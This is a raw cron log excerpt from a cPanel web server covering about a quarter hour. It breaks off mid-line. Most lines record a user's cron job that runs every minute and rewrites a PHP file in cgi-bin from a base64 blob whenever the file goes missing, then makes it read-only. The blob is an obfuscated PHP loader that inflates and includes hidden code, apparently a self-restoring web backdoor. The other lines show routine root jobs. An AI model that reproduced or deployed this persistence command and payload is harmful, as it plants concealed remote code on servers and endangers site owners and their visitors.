Nov  9 03:42:01 server CROND[17595]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:43:01 server CROND[18424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:44:01 server CROND[19232]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:45:01 server CROND[20053]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 03:45:01 server CROND[20055]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:45:01 server CROND[20054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 03:46:01 server CROND[21024]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:47:01 server CROND[21854]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:48:01 server CROND[22430]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:49:01 server CROND[23226]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:50:01 server CROND[24065]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 03:50:01 server CROND[24066]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 03:50:01 server CROND[24068]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 03:50:01 server CROND[24067]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:50:01 server CROND[24070]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 03:51:01 server CROND[24809]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:52:01 server CROND[25665]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:53:01 server CROND[26489]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:54:01 server CROND[27324]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:55:01 server CROND[28147]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 